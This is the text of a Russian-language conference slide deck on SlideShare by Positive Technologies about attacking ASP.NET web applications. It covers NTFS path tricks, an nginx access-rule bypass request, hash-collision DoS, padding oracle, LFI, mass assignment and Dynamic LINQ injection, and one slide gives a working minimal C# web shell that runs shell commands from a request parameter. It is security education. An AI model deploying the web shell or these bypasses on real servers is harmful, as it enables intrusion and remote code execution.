Взломать сайт на ASP.NET

8,225 views

Published on

Взломать Web-сайт на ASP.NET? Сложно, но можно! Владимир Кочетков

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
8,225
On SlideShare
0
From Embeds
0
Number of Embeds
152
Actions
Shares
0
Downloads
57
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Взломать сайт на ASP.NET

  1. 1. ВЗЛОМАТЬ WEB-САЙТ НА ASP.NET?СЛОЖНО, НО МОЖНО! Positive Technologies
  2. 2. Хорошо забытое старое: файловая система Устройства DOS и зарезервированные имена: NUL:, CON:, AUX:, PRN:, COM[1-9]:, LPT[1-9]: - двоеточие необязательно, имена могут использоваться внутри пути Зарезервированные символы: < > : " / | ? * Регистронезависимость имен: Filename == FileName == filename == FILENAME Поддержка коротких имен «8.3»: LongFileName.Extension ~= LONGFI~1.EXT ~= LO0135~1.EXT Завершающие символы: Filename == Filename... == Filename
  3. 3. Хорошо забытое старое: файловая система Именованные каналы и почтовые слоты (CreateFile): Hostpipe<name> , Hostmailslot<name> Альтернативный синтаксис относительных путей: C:Windowsnotepad.exe == C:notepad.exe , если Windows – текущий каталог диска C: Подстановки (FindFirstFile): < == * , > == ? , " == . UNC и Unicode пути: C:WindowsSystem32 HostC$WindowsSystem32 .C:WindowsSystem32 ?C:WindowsSystem32 ?UNCHostC$WindowsSystem32
  4. 4. Хорошо забытое старое: файловая система Метатрибуты и альтернативные потоки данных NTFS: Directory:<Name>:<Type>File:<Name>:<Type> Метатрибуты файлов Метатрибуты индексов $STANDARD_INFORMATION $INDEX_ROOT $FILE_NAME $INDEX_ALLOCATION $DATA $BITMAP $ATTRIBUTE_LIST $OBJECT_ID $REPARSE_POINT C:Windowshh.exe == C:Windows:$I30:$INDEX_ALLOCATIONhh.exe C:Windowsnotepad.exe == C:Windowsnotepad.exe::$DATA FileName.aspx == FileName.aspx:.jpg
  5. 5. [PT-2012-06] Обход ограничений Nginx Рейтинг опасности: Средний (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N) Подверженные версии: Nginx for Windows <= v1.3 Вектор: Удаленный Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым URL-адресам в обход правил, определенных в директивах ‘Location’ конфигурации веб-сервера. Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к исходному коду веб-приложения и закрытым разделам сайта, обнаружить новые уязвимости, украсть пароли подключения к базе данных и прочим сервисам и т.д. :$I30:$INDEX_ALLOCATION обрабатывались, как часть имени каталога.
  6. 6. [PT-2012-06] Обход ограничений Nginx http://hostname/.svn/entries HTTP/1.1 403 Forbidden Server: nginx/1.2.0 … location ~/.svn/ { deny all; } … HTTP/1.1 200 OK Server: nginx/1.2.0 http://hostname/.svn::$INDEX_ALLOCATION/entries * стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23
  7. 7. Архитектура платформы .NET
  8. 8. Повреждения памяти Взаимодействие с native-библиотеками, использование смешанных сборок MS12-025, апрель 2012: - выполнение произвольного кода за пределами исполняющей среды через переполнение целого и повреждение кучи в gdiplus.dll при вызове конструктора класса System.Drawing.Imaging.EncoderParameter. Небезопасный управляемый код unsafe void bufferOverflow(string s) { char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c } }
  9. 9. «Turkish I» и не только Сравнение строк без учета текущей культуры, может привести к непредвиденным последствиям: Английские культуры: I&i Турецкие культуры: I&ı+İ&i <%@ Page Language="C#" Culture="Auto" %> <%@ Import Namespace="System.Globalization" %> <! DOCTYPE html> … <script runat="server"> … if (Session["mode"].ToLower() != "admin") … if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true) …
  10. 10. Коллизии хэшей объектов System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта (принимает значения от -2147483648 до 2147483647). (http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
  11. 11. Коллизии хэшей в ASP.NET (MS11-100) Штатная ситуация: Не очень штатная ситуация: 3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=& DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=& LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=& MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE … over 4Mb form data … (https://github.com/HybrisDisaster/aspHashDoS)
  12. 12. Хитрый план (post-mortem MS11-100) 1. Рассчитываем 1000 строк с коллизиями на каждую комбинацию «версия .NET»/«аппаратная платформа» 2. Отправляем каждый из наборов в качестве параметров POST-запроса 3. Замеряем время ответа на каждый запрос 4. ??? 5. ;)
  13. 13. Web-стек .NET
  14. 14. ASP.NET / MVC
  15. 15. Специфика ASP.NET Специальные каталоги и файлы: - App_Browser – определения браузеров (*.browsers); - App_Code – исходный код вспомогательных классов и логики; - App_Data – хранилища данных; - App_GlobalResources, App_LocalResources – ресурсы приложения (*.resx, *.resources); - App_Themes – темы (*.skin, *.css, images, etc); - App_WebReferences – ссылки на web-сервисы (*.wsdl, *.xsd, *.disco, *.discomap); - Bin – скомпилированные сборки, используемые приложением; - web.config, web.*.config – конфигурационные файлы, определяющие настройки web-сервера и приложения.
  16. 16. Специфика ASP.NET Стандартные HTTP-обработчики: - WebResource.axd – доступ к статическим ресурсам, внедренным в сборки приложения. - ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся на диске. Использование: http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp> Пример: http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP 8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3- kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1 Где d, зашифрованный параметр: Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3 8a3a9b
  17. 17. Padding oracle (MS10-070) Последствия: – получение ключей, необходимых для шифрования/дешифрования:  аутентификационных cookies;  ViewState и Event Validation;  аргументов для WebRecource.axd и ScriptResource.axd => чтение произвольных файлов внутри каталога приложения Исправления:  при ошибке паддинга возвращается обощенная ошибка;  используется случайное число в качестве IV;  изменен формат шифруемых строк для их валидации;  ScriptResource.axd может обрабатывать только *.js файлы.
  18. 18. Специфика ASP.NET Стандартные HTTP-обработчики: - Trace.axd – трассировка запросов (доступна только в режиме отладки)
  19. 19. Особенности эксплуатации LFI Response.WriteFile(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента виртуальное имя файла. Server.Execute(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - выполняет обработчик для переданного файла, результат включает в ответ; - принимает в качестве аргумента виртуальное имя файла. File.ReadAllText(<filename>) - позволяет включать любой файл, на который есть права; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента реальное имя файла.
  20. 20. Минимальный C#-шелл <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%= Process.Start( new ProcessStartInfo( "cmd","/c " + Request["c"] ) { UseShellExecute = false, RedirectStandardOutput = true } ).StandardOutput.ReadToEnd() %>
  21. 21. Состояние представления (ViewState) Предназначено для передачи на сервер информации об элементах представления. - передается в параметре __VIEWSTATE; - шифрование и целостность часто не обеспечиваются; - используется разработчиками, для хранения данных сессии на клиенте, хотя не предназначено для этого; - нарушение его целостности может привести к реализации самых разнообразных угроз от XSS до нарушения функциональности приложения.
  22. 22. Подтверждение запросов и событий Request Validation – встроенный примитивный WAF, направленный на предотвращение атак XSS. Блокируются все запросы, содержащие: &# < с последующей буквой, !, / и ? А также, игнорируются сторонние параметры, начинающиеся с __ Event Validation – встроенный механизм валидации данных событий. Представляет собой параметр __EVENTVALIDATION, хранящий хэши допустимых значений элементов форм, событий, ViewState и т.п. Вопреки бытующему мнению, неэффективен против CSRF-атак, при стандартной реализации.
  23. 23. Mass assignmentModel: Controller:public class User public class UserController : Controller{ { public int Id IUserRepository _userRepository; { get; set; } public UserController(IUserRepository userRepository) { public string UserName _userRepository = userRepository; { get; set; } } public string Password { get; set; } public ActionResult Edit(int id) { public bool IsAdmin var user = _userRepository.GetUserById(id); { get; set; } return View(user);} } [HttpPost] public ActionResult Edit(int id, FormCollection collection) { try { var user = _userRepository.GetUserById(id); UpdateModel(user); _userRepository.SaveUser(user); return RedirectToAction("Index"); } catch { return View(); } } }
  24. 24. Mass assignment (http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
  25. 25. Внедрение выражений LINQ LINQ – язык запросов, встроенный в синтаксис .NET-языков. var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 }; Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN); var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
  26. 26. Внедрение выражений LINQ Dynamic LINQ – одна из нескольких существующих библиотек для формирования динамических LINQ-запросов времени исполнения. Возможности: - определение выражений строками; var modifier = "0"; - основные примитивные операции; var result = itemsList - доступ к членам статических и .Where("field1 % 2 == " + modifier) экземплярных типов данных; .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2); - создание экземпляров типов и анонимных типов; Что, если "modifier" формируется из входных данных и содержит: 0 OR 1 == 1 ?
  27. 27. Внедрение выражений LINQ Ограничения инъекций в Dynamic LINQ: - доступ к полям, свойствам и методам возможен только для типа коллекции или для достижимых типов, определяемых «белым списком»; - все части выражения должны выполняться без ошибок, в сообщениях об ошибках отсутствует полезный вывод; - инъекции подвержены изолированные части запроса; Возможности инъекций в Dynamic LINQ: - обход аутентификации / авторизации; - неавторизованный доступ к данным коллекции; - нарушение функционала (при наличии у объектов коллекции statefull- полей); - реализация угрозы отказа в обслуживании (DoS). В других решениях возможна реализация угрозы удаленного выполнения кода (RCE)
  28. 28. Внедрение выражений LINQ Демо
  29. 29. Спасибо за внимание! Вопросы?

×